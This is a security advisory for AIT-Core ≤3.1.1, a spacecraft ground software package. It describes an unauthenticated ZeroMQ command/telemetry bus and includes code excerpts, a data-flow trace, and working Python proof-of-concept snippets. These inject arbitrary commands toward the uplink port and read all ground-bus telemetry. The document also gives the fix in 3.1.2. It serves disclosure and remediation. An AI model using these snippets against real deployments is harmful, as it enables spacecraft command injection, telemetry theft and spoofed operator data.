GHSA-CCW5-G774-3683
Unauthenticated ZeroMQ command/telemetry bus in AIT-Core allows remote spacecraft command injection and telemetry exfiltration
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CCW5-G774-3683 divulgada | |
| Remediación | Parche 3.1.2 | ait-core · 6 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Weakness: CWE-306 Missing Authentication for a Critical Function
Affected: AIT-Core ≤ 3.1.1 (latest release / HEAD) — verified live on 3.1.1
Component: `ait.core.server` telemetry/command broker (`ait-server`)
Severity: Critical — CVSS 3.1 9.8 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Ecosystem note: same class as CVE-2026-60112 (AIT-GUI) and CVE-2026-60113 (AIT-DSN), in a distinct, unfixed component.
Summary
`ait-server` — the core telemetry/command server that every AIT deployment runs — binds its ZeroMQ message bus to all network interfaces (`0.0.0.0`) with no authentication of any kind (no ZMQ CURVE, no ZAP, no PLAIN, no token, no TLS). Any unauthenticated host that can reach TCP 5559 (the XSUB ingress) can publish onto the internal command topic, and with the shipped default configuration those bytes are forwarded to the `command_stream` and emitted on the spacecraft command-uplink UDP port (3075) — i.e. arbitrary command injection toward the spacecraft link. The same attacker can subscribe to TCP 5560 (XPUB) to exfiltrate all real-time telemetry passing over the ground bus, and can publish forged telemetry onto telemetry topics to spoof operator displays, limit checks, and the historian. This is exploitable with the shipped default configuration — the server's own purpose — and requires no plugin, credential, or user interaction.
Details (root cause, verified against 3.1.1)
- The broker binds both bus sockets with no auth — `ait/core/server/broker.py:54-58`:
self.frontend = self.context.socket(zmq.XSUB)
self.frontend.bind(self.XSUB_URL) # :55
self.backend = self.context.socket(zmq.XPUB)
self.backend.bind(self.XPUB_URL) # :58- The URLs default to all-interfaces — `ait/core/__init__.py:47-48`:
SERVER_DEFAULT_XSUB_URL = "tcp://*:5559" # tcp://* == 0.0.0.0
SERVER_DEFAULT_XPUB_URL = "tcp://*:5560"The shipped `config/config.yaml` does not override `server.xsub` / `server.xpub`, so defaults apply. No ZMQ CURVE/ZAP/PLAIN is configured anywhere in the tree.
- The broker is a raw XSUB→XPUB proxy (`broker.py:41-51`): any multipart message received on 5559 is forwarded to every matching subscriber on 5560.
- The shipped config subscribes an outbound stream to the command topic and emits it on the uplink UDP port — `config/config.yaml:164-168`:
outbound-streams:
- stream:
name: command_stream
output: 3075 # UDP command-uplink port
command_subscriber: TrueDefault command topic = `__commands__` (`ait/core/__init__.py:38`). The broker auto-selects `command_stream` as the command subscriber (`broker.py:135-136`; observed at runtime: "command_stream was selected as the default").
- The stream forwards the payload verbatim onto UDP — `ait/core/server/client.py:142-144`:
def publish(self, msg):
self.pub.sendto(msg, ("localhost", int(self.out_port))) # -> UDP :3075Data flow (unauthenticated attacker → spacecraft uplink): external ZMQ PUB → `tcp://TARGET:5559` (XSUB, `broker.py:55`) → proxy forward (`broker.py:47`) → XPUB 5560 → `command_stream` (subscribed `__commands__`, `broker.py:145`) → `Stream.process` → `PortOutputClient.publish` (`client.py:143`) → UDP `:3075` command uplink.
Signal that this is an oversight, not intended: the inbound UDP telemetry listeners were deliberately restricted to loopback (`client.py:33-34` forces `127.0.0.1`; `api.py:548-549`), but the far more powerful ZMQ command/telemetry bus was left on `tcp://*`.
PoC (live, AIT-Core 3.1.1, shipped default config)
Start the server (its normal operation): `ait-server`. It binds:
$ ss -ltnp | grep -E ':5559|:5560'
LISTEN 0 100 0.0.0.0:5559 users:(("ait-server",...))
LISTEN 0 100 0.0.0.0:5560 users:(("ait-server",...))(a) Unauthenticated command injection — a UDP listener on the uplink port (3075) stands in for the spacecraft link:
import zmq, msgpack, time
s = zmq.Context().socket(zmq.PUB)
s.connect("tcp://TARGET:5559") # no credentials
time.sleep(2) # allow subscription propagation
s.send_multipart([b"__commands__", msgpack.packb(b"\xde\xad\xbe\xef UNAUTH_CMD")])Observed on UDP :3075:
[uplink-listener] >>> RECEIVED 35 bytes from ('127.0.0.1', 48723): b'\xde\xad\xbe\xef UNAUTH_INJECTED_SPACECRAFT_CMD'(b) Unauthenticated telemetry exfiltration / bus read:
import zmq
s = zmq.Context().socket(zmq.SUB)
s.connect("tcp://TARGET:5560"); s.setsockopt_string(zmq.SUBSCRIBE, "") # all topics, no creds
print(s.recv_multipart()) # every message on the ground busObserved:
[eavesdropper] >>> READ from ground bus: [b'__commands__', b'\xc4#\xde\xad\xbe\xef UNAUTH_INJECTED_SPACECRAFT_CMD'](Publishing to a telemetry topic such as `__tlmpkts__` on 5559 additionally injects forged telemetry into operator displays, limit monitors, and the historian.) The wire format is msgpack (not pickle), so this is command/telemetry injection, not deserialization RCE.
Impact
Unauthenticated and network-reachable (bus bound to `0.0.0.0`), with the shipped default configuration:
1. Spacecraft command injection — inject arbitrary bytes onto the command-uplink path (same end-effect as CVE-2026-60112).
2. Telemetry exfiltration — read all real-time telemetry on the ground bus.
3. Telemetry spoofing — inject forged telemetry into operator displays, limit checks, and the historian.
4. Command-bus DoS.
The confidentiality, integrity, and availability of a spacecraft command/telemetry path are compromised. Precondition: only that `ait-server` is running (its core purpose) and TCP 5559/5560 are reachable — true with the shipped default `tcp://*` bind. No plugin, credential, or user interaction required.
### Patch
v3.1.2
Fix Details
- Bind XSUB/XPUB to `127.0.0.1` by default (`ait/core/__init__.py:47-48` / `ZmqConfig`). The internal clients already connect over loopback (`api.py:147`, `:577`; `client.py:32`), so a loopback default is non-breaking.
- For multi-host deployments, recommend ZeroMQ CURVE authentication/encryption (or front the bus with mTLS) rather than exposing a plaintext, unauthenticated bus.
- Documented the bind address as a security-relevant setting.
Credit
Shukrulloh Raximov (Mothra)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiait-core |
Corregida | 3.1.2 | 6 d | 3.1.2 no afectada |
3.1.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/NASA-AMMOS/AIT-Core/security/advisories/GHSA-ccw5-g774-3683Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
